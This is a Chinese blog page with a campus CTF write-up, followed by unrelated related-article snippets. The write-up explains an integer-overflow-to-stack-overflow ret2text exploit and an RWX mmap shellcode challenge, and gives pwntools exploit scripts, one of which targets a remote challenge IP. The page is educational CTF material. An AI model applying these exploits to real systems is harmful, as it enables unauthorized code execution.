当前位置: 首页 > news >正文

记录一次校园CTF--wp

一.第一题简单nc

这题直接nc 地址端口即可得到flags没有套路

二.第二题pwn:ezstack

这是一题栈溢出题目,查看保护:

没有开启PIE,运行下查看效果:

题目是一个文字购物游戏。

接着扔进IDA中分析:

在主函数中我们找到了一个类似隐藏的函数:

这个v6参数就是我们输入想要输入的选项,而Vipfun这一后门函数的参数v8就是我们的金币数,一开始我懵了好久。查看Vipfun这个函数:

通过分析看到当金币大于999999的时候,就会执行条件语句,在条件语句里,很明显的看出栈溢出漏洞。而且在IDA中发现了一个后门函数:

那么利用就简单了,我们只需要想办法让金币大于9999999就能造成栈溢出并成功构造一次ret2text,现在关键问题是如何让金币达到9999999呢,在题目游戏中选项3捡垃圾一次是10块钱,不得不说出题人很会玩。这捡垃圾捡到猴年马月去了。我们再看代码:

v4,v8都是无符号整形,那么如果我输入负数,就会造成整形溢出。我们在游戏中测试一下,v4其实是我们买饮料的数量:

我们可以看到,通过整形溢出我们成功让金币大于999999,此时执行1337将进入栈溢出函数

下面是exp:

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *context.log_level = 'debug'
#sh = process('./ezstack')
#gdb.attach(sh,'start')system_addr=0x400aa1
#sh_addr=
sh.recvuntil("天台")
sh.sendline("1")
sh.recvuntil(" (价格: 3元)")
sh.sendline("1")
sh.recvuntil("购买数量: ")
sh.sendline("-99999999")
sh.recvuntil("天台")
sh.sendline("1337")
sh.recvuntil("请输入工厂名字:")
#gdb.attach(sh)#sh.send(p64(payload))
sh.sendline('A' * (0x20+8) + p64(system_addr))
#pause()
sh.interactive()

三.第三题 pwn:shell

查看保护:

64位程序没有开启PIE,IDA中东西也比较少,基本都是系统函数,主函数如下:

根据题目名字猜测,是要我们在某个地址执行shellcode。mmap这个函数的作用是将文件映射进内存。在第三个参数中,表示的是权限。可读可写可执行。1+2+4加起来刚好是7,这么说Mmap返回的地址是一块可读可写可执行的区域。那么我们直接输入shellcode就好了。在pwntool中已经集成了shellcode,我们直接调用即可,exp如下:

#!/usr/bin/env python
# -*- coding: utf-8 -*-from pwn import *
context(os='linux',arch='amd64',terminal=['tmux','sp','-h'])
io = remote("121.40.144.254",10003)shellcode1=shellcraft.sh()
payload1=asm(shellcode1)io.send(payload1)
io.interactive()

四,是一个UAF堆,打本地的时候想岔了没做出来,晚点在复盘。

杂项:

1.做了一题很简单元神启动,题目中描述1+1等于几,我直接F12查看网页源代码得到出题人的1+1等于10,即可得到flags.

2.ezMD5

题目描述给了一个经过MD5转换和base64加密。用工具解密即可得到flags。

以上就是我大致做出来的wp。

相关文章:

记录一次校园CTF--wp

一.第一题简单nc 这题直接nc 地址端口即可得到flags没有套路 二.第二题pwn:ezstack 这是一题栈溢出题目,查看保护: 没有开启PIE,运行下查看效果: 题目是一个文字购物游戏。 接着扔进IDA中分析: 在主函数中我们找到…...

基于减法平均算法的无人机航迹规划-附代码

基于减法平均算法的无人机航迹规划 文章目录 基于减法平均算法的无人机航迹规划1.减法平均搜索算法2.无人机飞行环境建模3.无人机航迹规划建模4.实验结果4.1地图创建4.2 航迹规划 5.参考文献6.Matlab代码 摘要:本文主要介绍利用减法平均算法来优化无人机航迹规划。 …...

C语言--每日五道选择题--Day4

第一题 1、如果 x2014 ,下面函数的返回值是( ) int fun(unsigned int x) {int n 0;while(x 1){n;x x | (x 1);}return n; } A: 20 B: 21 C: 23 D: 25 答案及解析 C 这个函数的作用是对整型中0的个数进行统计 x x | (x1) 的作用是每次…...

OpenCV图片验证码识别与滑块验证码识别

目录 图片验证码识别: 一、百度OCR文字识别云服务 二、维普网获取图片验证码 三、维普网opencvocr识别验证码 四、维普网selenium登录并获取数据 滑块验证码: 五、猎聘网获取滑块验证码 六、猎聘网opencv计算滑动距离 七、猎聘网selenium模拟滑…...

网络安全深入学习第八课——代理与端口转发

文章目录 一、什么是代理二、正向代理三、反向代理四、正向和反向代理模拟复现 一、什么是代理 代理服务器英文全称是Proxy Server,其功能就是代理网络用户去取得网络信息。 形象的说:它是网络信息的中转站。在一般情况下,我们使用网络浏览…...

11月7日,每日信息差

今天是2023年11月07日,以下是为您准备的17条信息差 第一、五粮液否认内部讨论提价传闻 第二、雷军证实小米14销量已超百万台 第三、支付宝生活号全面开放UGC入口。据了解,今年以来,支付宝生活号陆续上线了创作者中心、热点榜单等多个内容产…...

sql异常Encountered unexpected token BINARY

1.出现错误 2023-11-06 10:48:19.604 [http-nio-8091-exec-3] WARN c.b.m.e.p.i.PaginationInnerInterceptor - [autoCountSql,343] - [e322891e-de87-4d98-8456-f6448d3c165e] - optimize this sql to a count sql has exception, sql:"selects.id,s.command,s.catego…...

P1131 [ZJOI2007] 时态同步

Portal. 先找出树上以 S S S 为起点最长的一条链,然后让其他链的长度都和该链对齐即可。 维护每个结点 x x x 的子树最长链 d max ⁡ ( x ) d_{\max}(x) dmax​(x),则每次 DFS 求出最长链之后调整对齐的代价为 d max ⁡ ( x ) − ( d max ⁡ ( s o …...

springboot(ssm 旅游管理系统 旅游规划平台 Java(codeLW)

springboot(ssm 旅游管理系统 旅游规划平台 Java(code&LW) 开发语言:Java 框架:ssm/springboot vue JDK版本:JDK1.8(或11) 服务器:tomcat 数据库:mysql 5.7(或8.0&#xff…...

C++ 构造函数不能是虚函数的原因

构造函数不能被声明为虚函数的主要原因涉及到对象的创建和初始化过程以及虚函数的工作机制。下面详细解释为什么构造函数不能是虚函数: 1.构造函数的调用顺序: 构造函数用于创建对象,并且对象的构造是在派生类构造函数之前完成的。当你创建…...

【LearnOpenGL基础入门——2】搭建第一个OpenGL窗口

目录 一.配置GLFW 二.配置GLAD 三.第一个OpenGL窗口 3.1 GLFW设置 3.2 GLAD设置 3.3 视口 3.4 输入 3.5渲染 在我们画出出色的效果之前,首先要做的就是创建一个OpenGL上下文(Context)和一个用于显示的窗口。然而,这些操作在每个系统上都是不一样…...

第三章:人工智能深度学习教程-人工智能与机器学习与深度学习之间的区别

人工智能基本上是通过一组规则(算法)将人类智能融入机器的机制。人工智能是两个词的组合:“人工”是指由人类或非自然物体制造的东西,“智能”是指相应地理解或思考的能力。另一个定义可能是“人工智能基本上是训练机器&#xff0…...

vue中 process.env 对象为空对象问题

问题:今天在处理vue项目环境问题的时候,发现直接打印 process 对象和打印 process.env 时 env 对象输出结果是不一样的,如下图所示: 在网上搜索了一番后发现还是有挺多朋友对此感到疑惑的,询问了同事,同…...

uniapp小程序v-for提示“不支持循环数据”

问题描述: 在uniapp小程序项目中使用多层for循环时&#xff0c;小程序端提示&#xff1a;uniapp v-for 暂不支持循环数据&#xff0c;以至于获取不到循环的数据。 <view v-for"(item,index) in list" :key"item.id"> <view v-for"child i…...

CROS错误 403 preflight 预检

预检 403 响应 Response for preflight 403 forbidden 如上图&#xff0c;配置了请求接口一直报错&#xff0c;前端看了没有什么问题&#xff0c;不知道哪里报错了&#xff0c;那么可能是后端没有设置跨域。&#xff08;或者是设置了&#xff0c;但是可能需要换一种方式&#…...

nginx参数调优能提升多少性能

前言 nginx安装后一般都会进行参数优化&#xff0c;网上找找也有很多相关文章&#xff0c;但是这些参数优化对Nginx性能会有多大影响&#xff1f;为此我做个简单的实验测试下这些参数能提升多少性能。 声明一下&#xff0c;测试流程比较简单&#xff0c;后端服务也很简单&…...

用友U8 Cloud 反序列化RCE漏洞复现

0x01 产品简介 用友U8 Cloud是用友推出的新一代云ERP&#xff0c;主要聚焦成长型、创新型企业&#xff0c;提供企业级云ERP整体解决方案。 0x02 漏洞概述 用友U8 Cloud存在多处&#xff08;FileManageServlet和LoginVideoServlet&#xff09;反序列化漏洞&#xff0c;系统未将…...

acwing算法基础之数据结构--STL简介

目录 1 基础知识2 模板3 使用示例3.1 vector3.2 pair3.3 string3.4 queue 1 基础知识 无。 2 模板 vector, 变长数组&#xff0c;倍增的思想size() 返回元素个数empty() 返回是否为空clear() 清空front()/back() 使用时&#xff0c;必须判断向量类容器非空push_back()/po…...

【Python深入学习】- 书籍推荐|数据结构和算法介绍|内建集合数据类型

&#x1f308;个人主页: Aileen_0v0 &#x1f525;系列专栏:PYTHON学习系列专栏 &#x1f4ab;"没有罗马,那就自己创造罗马~" 若把编写代码比作行军打仗&#xff0c;那么要想称霸沙场&#xff0c;不能仅靠手中的利刃&#xff0c;还需深谙兵法。Python是一把利刃&…...

物联网对接协议

物联网对接协议有很多种&#xff0c;以下是几种常见的物联网对接协议&#xff1a; Modbus&#xff1a;是一种强大的通信标准&#xff0c;广泛应用于工业自动化和SCADA系统&#xff0c;以便将仪表、传感器和执行器的信号发送回主控制器。 Modbus具有广泛的通信协议&#xff0c;…...

网络编程(Modbus进阶)

思维导图 Modbus RTU&#xff08;先学一点理论&#xff09; 概念 Modbus RTU 是工业自动化领域 最广泛应用的串行通信协议&#xff0c;由 Modicon 公司&#xff08;现施耐德电气&#xff09;于 1979 年推出。它以 高效率、强健性、易实现的特点成为工业控制系统的通信标准。 包…...

零门槛NAS搭建:WinNAS如何让普通电脑秒变私有云?

一、核心优势&#xff1a;专为Windows用户设计的极简NAS WinNAS由深圳耘想存储科技开发&#xff0c;是一款收费低廉但功能全面的Windows NAS工具&#xff0c;主打“无学习成本部署” 。与其他NAS软件相比&#xff0c;其优势在于&#xff1a; 无需硬件改造&#xff1a;将任意W…...

多模态2025:技术路线“神仙打架”,视频生成冲上云霄

文&#xff5c;魏琳华 编&#xff5c;王一粟 一场大会&#xff0c;聚集了中国多模态大模型的“半壁江山”。 智源大会2025为期两天的论坛中&#xff0c;汇集了学界、创业公司和大厂等三方的热门选手&#xff0c;关于多模态的集中讨论达到了前所未有的热度。其中&#xff0c;…...

Cesium1.95中高性能加载1500个点

一、基本方式&#xff1a; 图标使用.png比.svg性能要好 <template><div id"cesiumContainer"></div><div class"toolbar"><button id"resetButton">重新生成点</button><span id"countDisplay&qu…...

对WWDC 2025 Keynote 内容的预测

借助我们以往对苹果公司发展路径的深入研究经验&#xff0c;以及大语言模型的分析能力&#xff0c;我们系统梳理了多年来苹果 WWDC 主题演讲的规律。在 WWDC 2025 即将揭幕之际&#xff0c;我们让 ChatGPT 对今年的 Keynote 内容进行了一个初步预测&#xff0c;聊作存档。等到明…...

HBuilderX安装(uni-app和小程序开发)

下载HBuilderX 访问官方网站&#xff1a;https://www.dcloud.io/hbuilderx.html 根据您的操作系统选择合适版本&#xff1a; Windows版&#xff08;推荐下载标准版&#xff09; Windows系统安装步骤 运行安装程序&#xff1a; 双击下载的.exe安装文件 如果出现安全提示&…...

重启Eureka集群中的节点,对已经注册的服务有什么影响

先看答案&#xff0c;如果正确地操作&#xff0c;重启Eureka集群中的节点&#xff0c;对已经注册的服务影响非常小&#xff0c;甚至可以做到无感知。 但如果操作不当&#xff0c;可能会引发短暂的服务发现问题。 下面我们从Eureka的核心工作原理来详细分析这个问题。 Eureka的…...

HDFS分布式存储 zookeeper

hadoop介绍 狭义上hadoop是指apache的一款开源软件 用java语言实现开源框架&#xff0c;允许使用简单的变成模型跨计算机对大型集群进行分布式处理&#xff08;1.海量的数据存储 2.海量数据的计算&#xff09;Hadoop核心组件 hdfs&#xff08;分布式文件存储系统&#xff09;&a…...

VM虚拟机网络配置(ubuntu24桥接模式):配置静态IP

编辑-虚拟网络编辑器-更改设置 选择桥接模式&#xff0c;然后找到相应的网卡&#xff08;可以查看自己本机的网络连接&#xff09; windows连接的网络点击查看属性 编辑虚拟机设置更改网络配置&#xff0c;选择刚才配置的桥接模式 静态ip设置&#xff1a; 我用的ubuntu24桌…...

20个超级好用的 CSS 动画库

分享 20 个最佳 CSS 动画库。 它们中的大多数将生成纯 CSS 代码&#xff0c;而不需要任何外部库。 1.Animate.css 一个开箱即用型的跨浏览器动画库&#xff0c;可供你在项目中使用。 2.Magic Animations CSS3 一组简单的动画&#xff0c;可以包含在你的网页或应用项目中。 3.An…...